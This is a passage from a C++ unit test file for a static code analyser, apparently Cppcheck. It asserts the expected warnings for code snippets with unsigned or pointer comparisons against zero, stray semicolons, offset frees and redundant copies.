ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n 